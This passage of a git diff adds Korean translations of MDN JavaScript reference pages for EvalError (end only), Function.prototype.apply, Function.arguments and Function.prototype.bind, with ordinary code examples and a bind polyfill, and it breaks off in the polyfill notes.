+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.1', 'EvalError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Not used in this specification. Present for backward compatibility.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Not used in this specification. Present for backward compatibility.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.EvalError")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("EvalError.prototype")}}</li>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/apply/index.html b/files/ko/web/javascript/reference/global_objects/function/apply/index.html
new file mode 100644
index 0000000000..1e59ed07f7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/apply/index.html
@@ -0,0 +1,236 @@
+---
+title: Function.prototype.apply()
+slug: Web/JavaScript/Reference/Global_Objects/Function/apply
+tags:
+  - Function
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>apply()</code></strong> 메서드는 주어진 <code>this</code> 값과 배열 (또는 <a href="/en-US/docs/Web/JavaScript/Guide/Predefined_Core_Objects#Working_with_Array-like_objects">유사 배열 객체</a>) 로 제공되는 <code>arguments</code> 로 함수를 호출합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 이 함수의 구문은 거의 {{jsxref("Function.call", "call()")}} 구문과 유사합니다. 근본적인 차이점은  <code>call()</code> 은 함수에 전달될 <strong>인수 리스트</strong>를 받는데 비해, <code>apply()</code> 는 <strong>인수들의 단일 배열</strong>을 받는다는 점입니다.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/js/function-apply.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>func</var>.apply(<var>thisArg, </var>[<var>argsArray</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>옵션. <code>func</code> 를 호출하는데 제공될 <code>this</code> 의 값. <code>this</code> 는 메소드에 의해 실제로 보여지는 값이 아닐 수 있음을 유의합니다. 메소드가 {{jsxref("Strict_mode", "non-strict mode", "", 1)}} 코드의 함수일 경우, {{jsxref("null")}} 과 {{jsxref("undefined")}} 가 전역 객체로 대체되며, 기본 값은 제한됩니다.</dd>
+ <dt><code>argsArray</code></dt>
+ <dd>옵션. <em><code>func</code></em> 이 호출되어야 하는 인수를 지정하는 유사 배열 객체, 함수에 제공된 인수가 없을 경우 {{jsxref("null")}} 또는 {{jsxref("undefined")}}. ECMAScript 5 의 시작으로 이러한 인수들은 배열 대신 제네릭 유사 배열 객체로 사용될 수 있습니다. 아래의 {{anch("Browser_compatibility", "브라우저 호환성")}} 정보를 보세요.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>지정한 <strong><code>this</code></strong> 값과 인수들로 호출한 함수의 결과.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>이미 존재하는 함수를 호출할 때 다른 <code>this</code> 객체를 할당할 수 있습니다. <code>this</code> 는 현재 객체, 호출하는 객체를 참조합니다. <code>apply</code> 를 사용해, 새로운 객체마다 메소드를 재작성할 필요없이 한 번만 작성해 다른 객체에 상속시킬 수 있습니다.</p>
+
+<p><code>apply</code> 는 지원되는 인수의 타입만 제외하면 {{jsxref("Function.call", "call()")}} 과 매우 유사합니다. 인수(파라미터)의 리스트 대신 인수들의 배열을 사용할 수 있습니다. 또한 <code>apply</code> 를 사용해, 배열 리터럴이나 (예, <em>func</em>.apply(this, ['eat', 'bananas']), {{jsxref("Array")}} 객체 (예, <em>func</em>.apply(this, new Array('eat', 'bananas'))) 를 사용할 수 있습니다.</p>
+
+
+
+<p><code>argsArray</code> 파라미터를 위한 {{jsxref("Functions/arguments", "arguments")}} 를 사용할 수도 있습니다. <code>arguments</code> 는 함수의 지역 변수입니다. 이는 호출된 객체의 지정되지 않은 모든 인수에 대해 사용할 수 있습니다. 따라서, <code>apply</code> 메소드를 사용할 때 호출된 객체의 인수를 알 필요가 없습니다. <code>arguments</code> 를 사용해 모든 인수들을 호출된 객체로 전달할 수 있습니다. 그럼 호출된 객체는 그 인수들을 처리할 수 있게 됩니다.</p>
+
+
+
+<p>ECMAScript 5번 째 판의 시작으로, 모든 유사 배열 객체 타입을 사용할 수 있으며, 실제로 이는 프로퍼티 <code>length</code> 와 범위 <code>(0..length-1)</code> 내의 정수 프로퍼티를 갖는 다는 것을 의미합니다. 예를 들면, 이제 {{domxref("NodeList")}} 또는 <code>{ 'length': 2, '0': 'eat', '1': 'bananas' }</code> 와 같은 커스텀 객체를 사용할 수 있습니다.</p>
+
+<div class="blockIndicator note">Chrome 14와 Internet Explorer 9를 포함한 대부분의 브라우저는 아직 유사배열객체를 apply에 사용할 수 없으며 오류가 출력됩니다.</div>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="Example_Using_apply_to_chain_constructors" name="Example:_Using_apply_to_chain_constructors">배열에 배열을 붙이기 위해 <code>apply</code> 사용하기</h3>
+
+<p><code>push</code> 를 사용하여 요소를 배열에 추가 할 수 있습니다. <code>push</code> 는 가변 인수를 허용하기 때문에 여러 요소를 동시에 추가 할 수 있습니다. 그러나 <code>push</code> 에 배열을 전달하면 요소를 개별적으로 추가하는 대신 실제로 해당 배열을 단일 요소로 추가하므로 결국 배열 내부에 배열로 끝납니다. 그것이 우리가 원하는 것이 아니라면? 이 경우 <code>concat</code> 은 우리가 원하는 동작을 하지만 실제로는 기존 배열에 추가되지 않고 새 배열을 만들어 반환 합니다. 그러나 우리는 기존 배열에 추가하고 싶었습니다 ... 그럼 이제 어쩌죠? 루프를 작성 할까요? 분명히 아니죠?</p>
+
+<p>방법은 <code>apply</code> !</p>
+
+<pre class="brush: js">var array = ['a', 'b'];
+var elements = [0, 1, 2];
+array.push.apply(array, elements);
+console.info(array); // ["a", "b", 0, 1, 2]
+</pre>
+
+<h3 id="apply_와_내장함수_사용"><code>apply</code> 와 내장함수 사용</h3>
+
+<p><code>apply</code> 를 보다 효과적으로 이용하면 일부 내장 함수는 어떤 작업에 대해서는 배열과 루프없이 쉽게 처리됩니다. 다음 예제에서는 배열에서 최대값과 최소값을 구하기 위해 <code>Math.max</code>/<code>Math.min</code> 함수를 이용하고 있습니다.</p>
+
+<pre class="brush: js">// min/max number in an array
+var numbers = [5, 6, 2, 3, 7];
+
+// using Math.min/Math.max apply
+var max = Math.max.apply(null, numbers);
+// 이는 Math.max(numbers[0], ...) 또는 Math.max(5, 6, ...)
+// 와 거의 같음
+
+var min = Math.min.apply(null, numbers);
+
+// vs. simple loop based algorithm
+max = -Infinity, min = +Infinity;
+
+for (var i = 0; i &lt; numbers.length; i++) {
+  if (numbers[i] &gt; max) {
+    max = numbers[i];
+  }
+  if (numbers[i] &lt; min) {
+    min = numbers[i];
+  }
+}
+</pre>
+
+<p>하지만 이러한 방식으로 <code>apply</code> 를 사용하는 경우 주의해야 합니다. JavaScript 엔진의 인수 길이 제한을 초과하는 위험성에 대해 이해할 필요가 있습니다. 함수에 너무 많은(대략 몇 만개 이상) 인수를 줄 때의 상황은 엔진마다 다른데(예를 들어 JavaScriptCore의 경우 <a href="https://bugs.webkit.org/show_bug.cgi?id=80797">인수의 개수 제한은 65536</a>), 상한이 특별히 정해져 있지 않기 때문입니다. 어떤 엔진은 예외를 던집니다. 더 심한 경우는 실제 함수에 인수를 전달했음에도 불구하고 참조할 수 있는 인수의 수를 제한하고 있는 경우도 있습니다(이러한 엔진에 대해 더 자세히 설명하면, 그 엔진이 arguments의 상한을 4개로 했다고 하면[실제 상한은 물론 더 위일 것입니다], 위 예제 코드의 전체 배열이 아니라 <code>5, 6, 2, 3</code> 만 <code>apply</code> 에 전달되어 온 것처럼 작동합니다).</p>
+
+<p>만약 사용하는 배열 변수의 수가 수만을 초과하는 경우에는 복합적인 전략을 강구해야할 것입니다:한 번에 전달할 배열을 분할하여 사용하기:</p>
+
+<pre class="brush: js">function minOfArray(arr) {
+  var min = Infinity;
+  var QUANTUM = 32768;
+
+  for (var i = 0, len = arr.length; i &lt; len; i += QUANTUM) {
+    var submin = Math.min.apply(null,
+                                arr.slice(i, Math.min(i + QUANTUM, len)));
+    min = Math.min(submin, min);
+  }
+
+  return min;
+}
+
+var min = minOfArray([5, 6, 2, 3, 7]);
+
+</pre>
+
+
+
+<h3 id="생성자_체이닝을_위한_apply_사용">생성자 체이닝을 위한 <code>apply</code> 사용</h3>
+
+<p>Java 와 유사하게, 객체를 위한 {{jsxref("Operators/new", "constructors", "", 1)}} 체이닝을 위해 <code>apply</code> 를 사용할 수 있습니다. 다음 예제에서 인수 리스트 대신 생성자로 유사 배열 객체를 사용할 수 있게 해주는 <code>construct</code> 라는 전역 {{jsxref("Function")}} 메소드를 생성할 것입니다. </p>
+
+<pre><code>Function.prototype.construct = function(aArgs) {
+  var oNew = Object.create(this.prototype);
+  this.apply(oNew, aArgs);
+  return oNew;
+};</code></pre>
+
+<div class="blockIndicator note">
+<p><strong>알림:</strong> 위에서 사용된 <code>Object.create()</code> 메소드는 상대적으로 새로운 것입니다. 대안으로, 다음 접근법 중 하나를 고려하세요.</p>
+
+<p>{{jsxref("Object/__proto__", "Object.__proto__")}} 사용</p>
+
+<pre><code>Function.prototype.construct = function (aArgs) {
+  var oNew = {};
+  oNew.__proto__ = this.prototype;
+  this.apply(oNew, aArgs);
+  return oNew;
+};</code></pre>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Closures">클로져</a> 사용:</p>
+
+<pre><code>Function.prototype.construct = function(aArgs) {
+  var fConstructor = this, fNewConstr = function() {
+    fConstructor.apply(this, aArgs);
+  };
+  fNewConstr.prototype = fConstructor.prototype;
+  return new fNewConstr();
+};</code></pre>
+
+<p>{{jsxref("Function")}} 생성자 사용</p>
+
+<pre><code>Function.prototype.construct = function (aArgs) {
+  var fNewConstr = new Function("");
+  fNewConstr.prototype = this.prototype;
+  var oNew = new fNewConstr();
+  this.apply(oNew, aArgs);
+  return oNew;
+};</code></pre>
+</div>
+
+<p>사용 예제</p>
+
+<pre><code>function MyConstructor() {
+  for (var nProp = 0; nProp &lt; arguments.length; nProp++) {
+    this['property' + nProp] = arguments[nProp];
+  }
+}
+
+var myArray = [4, 'Hello world!', false];
+var myInstance = MyConstructor.construct(myArray);
+
+console.log(myInstance.property1);                // logs 'Hello world!'
+console.log(myInstance instanceof MyConstructor); // logs 'true'
+console.log(myInstance.constructor);              // logs 'MyConstructor'</code></pre>
+
+<p><strong>알림:</strong> 네이티브가 아닌 <code>Function.construct</code> 메소드는 {{jsxref("Date")}} 와 같은 일부 네이티브 생성자와 동작하지 않을 것입니다. 그런 경우, {{jsxref("Function.prototype.bind")}} 메소드를 사용해야 합니다. 예를 들어, 다음과 같은 배열이 있다고 할 때, {{jsxref("Global_Objects/Date", "Date")}} 생성자: <code>[2012, 11, 4]</code> 와 함께 사용되려면 다음과 같이 작성해야 합니다: <code>new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()</code>. 이는 가장 좋은 방법이 아니며, 어떤 상용 환경에서도 사용되지 않을 수 있습니다.</p>
+
+
+
+<h2 id="명세">명세</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>초기 정의. JavaScript 1.3 에 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Function.apply")}}</p>
+
+
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Functions/arguments", "arguments")}} 객체</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions", "Functions and function scope", "", 1)}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/arguments/index.html b/files/ko/web/javascript/reference/global_objects/function/arguments/index.html
new file mode 100644
index 0000000000..9a498f2468
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/arguments/index.html
@@ -0,0 +1,60 @@
+---
+title: Function.arguments
+slug: Web/JavaScript/Reference/Global_Objects/Function/arguments
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<p><code><strong><em>function</em>.arguments</strong></code> 속성은 함수로 부터 넘겨 받은 arguments에 해당하는 배열과 같은 객체이다. 간단하게 {{jsxref("Functions/arguments", "arguments")}}를 대신 사용하자. 이 속성은 strict mode에서 <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-addrestrictedfunctionproperties">꼬리 호출 최적화</a> 때문에 금지 된다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code><em>function</em>.arguments</code> 문법은 deprecated 되었다. 함수 내 에서 사용 가능한 객체{{jsxref("Functions/arguments", "arguments")}}에 접근하는 추천되는 방법은 단순히 {{jsxref("Functions/arguments", "arguments")}}변수로 참조하는 것이다.</p>
+
+<p>반복문의 경우, 함수 <code>f</code> 가 여러번 호출 스택에 나타나면, <code>f.arguments</code>의 값은 함수의 가장 최근 호출 arguments를 나타낸다.</p>
+
+<p>arguments의 값은 함수 실행 과정에서 특별한 호출이 없다면 일반적으로 null 이다 (즉, 함수가 호출은 되었으나 반환되지 않음).</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="arguments_object를_사용한_예시">arguments object를 사용한 예시</h3>
+
+<pre class="brush: js">function f(n) { g(n - 1); }
+
+function g(n) {
+  console.log('before: ' + g.arguments[0]);
+  if (n &gt; 0) { f(n); }
+  console.log('after: ' + g.arguments[0]);
+}
+
+f(2);
+
+console.log('returned: ' + g.arguments);
+
+// Output
+
+// before: 1
+// before: 0
+// after: 0
+// after: 1
+// returned: null
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p><code><em>function</em>.arguments</code>는 표준이 아니다. ECMAScript 3에서 {{jsxref("Functions/arguments", "arguments")}}를 참조하기 때문에 deprecated 되었다.</p>
+
+<h2 id="Browser_호환성">Browser 호환성</h2>
+
+<div>
+<div class="hidden">이 페이지에 있는 호환성 테이블은 구조화된 데이터로 생성 되었습니다. 이 데이터에 기여를 하기 원하시면, 이 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 페이지를 확인 하시고 Pull Request를 보내주시기 바랍니다.</div>
+
+<p>{{Compat("javascript.builtins.Function.arguments")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Functions/arguments", "arguments")}} 객체</li>
+ <li>{{jsxref("Functions", "Functions and function scope", "", 1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/bind/index.html b/files/ko/web/javascript/reference/global_objects/function/bind/index.html
new file mode 100644
index 0000000000..6a39852239
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/bind/index.html
@@ -0,0 +1,296 @@
+---
+title: Function.prototype.bind()
+slug: Web/JavaScript/Reference/Global_Objects/Function/bind
+tags:
+  - ECMAScript 2015
+  - Function
+  - JavaScript
+  - Method
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>bind()</strong></code> 메소드가 호출되면 새로운 함수를 생성합니다. 받게되는 첫 인자의 value로는 <code>this</code> 키워드를 설정하고, 이어지는 인자들은 바인드된 함수의 인수에 제공됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/function-bind.html", "taller")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>func</var>.bind(<var>thisArg</var>[, <var>arg1</var>[, <var>arg2</var>[, ...]]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>바인딩<span style="font-size: 13.3333px;"> </span>함수가 대상 함수(target function)의 <code>this</code>에 전달하는 값입니다. 바인딩 함수를 {{jsxref("Operators/new", "new")}} 연산자로 생성한 경우 무시됩니다. <code>bind</code>를 사용하여 <code>setTimeout</code> 내에 콜백 함수를 만들 때, <code>thisArg</code>로 전달된 원시 값은 객체로 변환됩니다. <code>bind</code>할 인수(argument)가 제공되지 않으면  실행 스코프 내의 <code>this</code>는 새로운 함수의 <code>thisArg</code>로 처리됩니다.</dd>
+ <dt><code>arg1, arg2, ...</code></dt>
+ <dd>대상 함수의 인수 앞에 사용될 인수.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 <code>this</code> 값 및 초기 인수를 사용하여 변경한 원본 함수의 복제본.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>bind()</code> 함수는 새로운 바인딩한 함수를 만듭니다. 바인딩한 함수는 원본 함수 객체를 감싸는 함수로, ECMAScript 2015에서 말하는 특이 함수 객체<sup>exotic function object</sup>입니다. 바인딩한 함수를 호출하면 일반적으로 래핑된 함수가 호출 됩니다.</p>
+
+<p>바인딩한 함수는 다음과 같은 내부 속성을 가지고 있습니다.</p>
+
+<ul>
+ <li><code><strong>[[BoundTargetFunction]]</strong></code> - 바인딩으로 감싼(wrapped) 원본 함수 객체.</li>
+ <li><code><strong>[[BoundThis]]</strong></code> - 감싸진 함수를 호출했을 때 항상 전달되는 값.</li>
+ <li><code><strong>[[BoundArguments]]</strong></code> - 감싸진 함수가 호출될 때 첫 번째 인수로 사용되는 값들의 목록.</li>
+ <li><code><strong>[[Call]]</strong></code> - 이 객체와 관련된 코드 실행. 함수 호출 식을 통해 호출됨. 내부 메소드의 인수는 this 값 및 호출 식으로 함수에 전달되는 인수를 포함하는 목록입니다.</li>
+</ul>
+
+<p>바인딩된 함수가 호출될 때 <code>[[BoundTargetFunction]]</code>의 내부 메소드 <code>[[Call]]</code>을 호출합니다. <code>[[Call]]</code> 은 <code>Call(<em>boundThis</em>, <em>args</em>)</code>와 같은 인자를 가집니다. 이 때, <code><em>boundThis</em></code>는 <code>[[BoundThis]]</code>이고, <code><em>args</em></code>는 함수가 호출될 때 전달되어 따라오는 <code>[[BoundArguments]]</code> 입니다.</p>
+
+<p>바인딩된 함수는 {{jsxref("Operators/new", "new")}} 연산자를 사용하여 생성될 수도 있습니다: 그렇게 하면 대상 함수가 마치 대신 생성된 것처럼 행동합니다. 제공된 <code>this</code> 값은 무시됩니다, 앞에 붙인(prepend) 인수는 에뮬레이트된 함수에 제공되지만.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="바인딩된_함수_생성">바인딩된 함수 생성</h3>
+
+<p><code>bind()</code>의 가장 간단한 사용법은 호출 방법과 관계없이 특정 <code>this</code> 값으로 호출되는 함수를 만드는 겁니다. 초보 JavaScript 프로그래머로서 흔한 실수는 객체로부터 메소드를 추출한 뒤 그 함수를 호출할때, 원본 객체가 그 함수의 <code>this</code>로 사용될 것이라 기대하는 겁니다(예시 : 콜백 기반 코드에서 해당 메소드 사용). 그러나 특별한 조치가 없으면, 대부분의 경우 원본 객체는 손실됩니다. 원본 객체가 바인딩 되는 함수를 생성하면, 이러한 문제를 깔끔하게 해결할 수 있습니다.</p>
+
+<pre class="brush: js">this.x = 9;
+var module = {
+  x: 81,
+  getX: function() { return this.x; }
+};
+
+module.getX(); // 81
+
+var retrieveX = module.getX;
+retrieveX();
+// 9 반환 - 함수가 전역 스코프에서 호출됐음
+
+// module과 바인딩된 'this'가 있는 새로운 함수 생성
+// 신입 프로그래머는 전역 변수 x와
+// module의 속성 x를 혼동할 수 있음
+var boundGetX = retrieveX.bind(module);
+boundGetX(); // 81
+</pre>
+
+<h3 id="부분_적용_함수">부분 적용 함수</h3>
+
+<p><code>bind()</code>의 다음으로 간단한 사용법은 미리 지정된 초기 인수가 있는 함수를 만드는 겁니다. 지정될 초기 인수가 있다면 제공된 <code>this</code> 값을 따르고, 바인딩 된 함수에 전달되어 바인딩 된 함수가 호출될 때마다 대상 함수의 인수 앞에 삽입됩니다.</p>
+
+<pre><code>function list() {
+  return Array.prototype.slice.call(arguments);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+
+// 선행될 인수를 설정하여 함수를 생성합니다.
+var leadingThirtysevenList = list.bind(null, 37);
+
+var list2 = leadingThirtysevenList();  // [37]
+
+var list3 = leadingThirtysevenList(1, 2, 3);  // [37, 1, 2, 3]
+
+
+function addArguments(arg1, arg2) {
+    return arg1 + arg2
+}
+
+var result1 = addArguments(1, 2); // 3
+
+// 첫 번째 인수를 지정하여 함수를 생성합니다.
+var addThirtySeven = addArguments.bind(null, 37);
+
+var result2 = addThirtySeven(5); // 37 + 5 = 42
+
+// 두 번째 인수는 무시됩니다.
+var result3 = addThirtySeven(5, 10); // 37 + 5 = 42</code>
+</pre>
+
+<h3 id="setTimeout과_함께_사용"><code>setTimeout</code>과 함께 사용</h3>
+
+<p>{{domxref("window.setTimeout()")}} 내에서 기본으로, <code>this</code> 키워드는 {{ domxref("window") }} (또는 <code>global</code>) 객체로 설정됩니다. 클래스 인스턴스를 참조하는 <code>this</code>를 필요로 하는 클래스 메소드로 작업하는 경우, 명시해서 <code>this</code>를 콜백 함수에 바인딩할 수 있습니다, 인스턴스를 유지하기 위해.</p>
+
+<pre class="brush: js">function LateBloomer() {
+  this.petalCount = Math.ceil(Math.random() * 12) + 1;
+}
+
+// 1초 지체 후 bloom 선언
+LateBloomer.prototype.bloom = function() {
+  window.setTimeout(this.declare.bind(this), 1000);
+};
+
+LateBloomer.prototype.declare = function() {
+  console.log('I am a beautiful flower with ' +
+    this.petalCount + ' petals!');
+};
+
+var flower = new LateBloomer();
+flower.bloom();
+// 1초 뒤, 'declare' 메소드 유발</pre>
+
+<h3 id="생성자로_쓰이는_바인딩된_함수">생성자로 쓰이는 바인딩된 함수</h3>
+
+<div class="warning">
+<p><strong>경고:</strong> 이 부분은 JavaScript 능력을 보이고 <code>bind()</code> 메소드의 일부 극단 상황(edge case)을 기록합니다. 아래 보이는 메소드는 일을 하는 가장 좋은 방법은 아니며 아마도 상용 환경에서 전혀 사용되지 않을 겁니다.</p>
+</div>
+
+<p>바인딩된 함수는 자동으로 대상 함수에 의해 생성되는 새로운 인스턴스를 생성하는 {{jsxref("Operators/new", "new")}} 연산자와 함께 쓰기에 적합합니다. 바인딩된 함수가 값을 생성하는 데 쓰이는 경우, 제공된 <code>this</code>는 무시됩니다. 그러나, 제공된 인수는 여전히 생성자 호출에 (인수부) 앞에 붙습니다:</p>
+
+<pre class="brush: js">function Point(x, y) {
+  this.x = x;
+  this.y = y;
+}
+
+Point.prototype.toString = function() {
+  return this.x + ',' + this.y;
+};
+
+var p = new Point(1, 2);
+p.toString(); // '1,2'
+
+// 아래 폴리필에서는 지원되지 않음,
+
+// 원 bind와는 잘 작동:
+
+var YAxisPoint = Point.bind(null, 0/*x*/);
+
+
+var emptyObj = {};
+var YAxisPoint = Point.bind(emptyObj, 0/*x*/);
+
+var axisPoint = new YAxisPoint(5);
+axisPoint.toString(); // '0,5'
+
+axisPoint instanceof Point; // true
+axisPoint instanceof YAxisPoint; // true
+new Point(17, 42) instanceof YAxisPoint; // true
+</pre>
+
+<p>{{jsxref("Operators/new", "new")}}와 함께 쓰기 위한 바인딩된 함수를 만들기 위해 특별한 일을 할 필요가 없음을 주의하세요. 그 결과 분명히 호출되는 바인딩된 함수를 만들기 위해 특별히 아무것도 할 필요가 없습니다, 오히려 {{jsxref("Operators/new", "new")}}를 사용해서만 호출되는 바인딩된 함수를 요구하는 경우에도.</p>
+
+<pre class="brush: js">// 예는 JavaScript 콘솔에서 직접 실행될 수 있음
+// ...위에서부터 이어짐
+
+// 여전히 일반 함수로서 호출될 수 있음
+// (보통 이를 원하지 않더라도)
+YAxisPoint(13);
+
+emptyObj.x + ',' + emptyObj.y;
+// &gt;  '0,13'
+</pre>
+
+<p>오로지 {{jsxref("Operators/new", "new")}}를 사용하거나 호출해서만 바인딩된 함수의 사용을 지원하고 싶은 경우, 대상 함수는 그 제한을 강제해야 합니다.</p>
+
+<h3 id="바로_가기_생성">바로 가기 생성</h3>
+
+<p><code>bind()</code>는 특정 <code>this</code> 값을 필요로 하는 함수의 바로 가기(shortcut)를 만들고 싶은 경우에도 도움이 됩니다.</p>
+
+<p>가령, 배열 같은 객체를 실제 배열로 변환하는 데 사용하고 싶은 {{jsxref("Array.prototype.slice")}}를 취하세요. 이와 같은 바로 가기를 만들 수 있습니다:</p>
+
+<pre class="brush: js">var slice = Array.prototype.slice;
+
+// ...
+
+slice.apply(arguments);
+</pre>
+
+<p><code>bind()</code>로, 이는 단순화될 수 있습니다. 다음 조각 코드에서, <code>slice</code>는 {{jsxref("Function.prototype")}}의 {{jsxref("Function.prototype.apply()", "apply()")}} 함수에 바인딩된 함수입니다, <code>this</code> 값을 {{jsxref("Array.prototype")}}의 {{jsxref("Array.prototype.slice()", "slice()")}} 함수로 설정한 채. 이는 추가 <code>apply()</code> 호출은 삭제될 수 있음을 뜻합니다:</p>
+
+<pre class="brush: js">// 이전 예에서 "slice"와 같음
+var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.apply.bind(unboundSlice);
+
+// ...
+
+slice(arguments);
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>bind</code> 함수는 ECMA-262 제5판에 추가되었습니다; 그러하기에 모든 브라우저에 없을 수 있습니다. 스크립트 시작 부분에 다음 코드를 삽입함으로써 이 문제를 부분적으로 해결할수 있으며,  bind() 지원하지 않는 구현에서도  대부분의 기능을 사용할 수 있습니다.</p>
+
+<pre class="brush: js">if (!Function.prototype.bind) {
+  Function.prototype.bind = function(oThis) {
+    if (typeof this !== 'function') {
+      // ECMAScript 5 내부 IsCallable 함수와
+      // 가능한 가장 가까운 것
+      throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
+    }
+
+    var aArgs   = Array.prototype.slice.call(arguments, 1),
+        fToBind = this,
+        fNOP    = function() {},
+        fBound  = function() {
+          return fToBind.apply(this instanceof fNOP
+                 ? this
+                 : oThis,
+                 aArgs.concat(Array.prototype.slice.call(arguments)));
+        };
+
+    if (this.prototype) {
+      // Function.prototype은 prototype 속성이 없음
+      fNOP.prototype = this.prototype;
+    }
+    fBound.prototype = new fNOP();
+
+    return fBound;
+  };
+}
+</pre>
+
+<p>이 알고리즘과 스펙화된 알고리즘 간 많은 차이(충분히 다른 차이가 있을 수 있습니다, 이 목록은 정말 철저히 하지 않았기에) 중 일부는 다음입니다:</p>
+
+<ul>
+ <li>부분 구현은 {{jsxref("Array.prototype.slice()")}}, {{jsxref("Array.prototype.concat()")}}, {{jsxref("Function.prototype.call()")}} 및 {{jsxref("Function.prototype.apply()")}}, 원래 값을 갖는 내장 메소드에 의존합니다.</li>
+ <li>부분 구현은 불변(immutable) "poison pill" {{jsxref("Function.caller", "caller")}} 및 get, set 또는 삭제 시 {{jsxref("Global_Objects/TypeError", "TypeError")}}가 발생하는 <code>arguments</code> 속성이 없는 함수를 만듭니다. (이는 구현이 {{jsxref("Object.defineProperty")}}를 지원하는 경우 추가 또는 구현이 {{jsxref("Object.defineGetter", "__defineGetter__")}} 및 {{jsxref("Object.defineSetter", "__defineSetter__")}} 메소드를 지원하는 경우 [삭제 시 오류 발생(throw-on-delete) 동작(behavior) 없이] 부분 구현될 수 있습니다.)</li>
+ <li>부분 구현은 <code>prototype</code> 속성이 있는 함수를 만듭니다. (고유 바인딩된 함수는 없습니다.)</li>
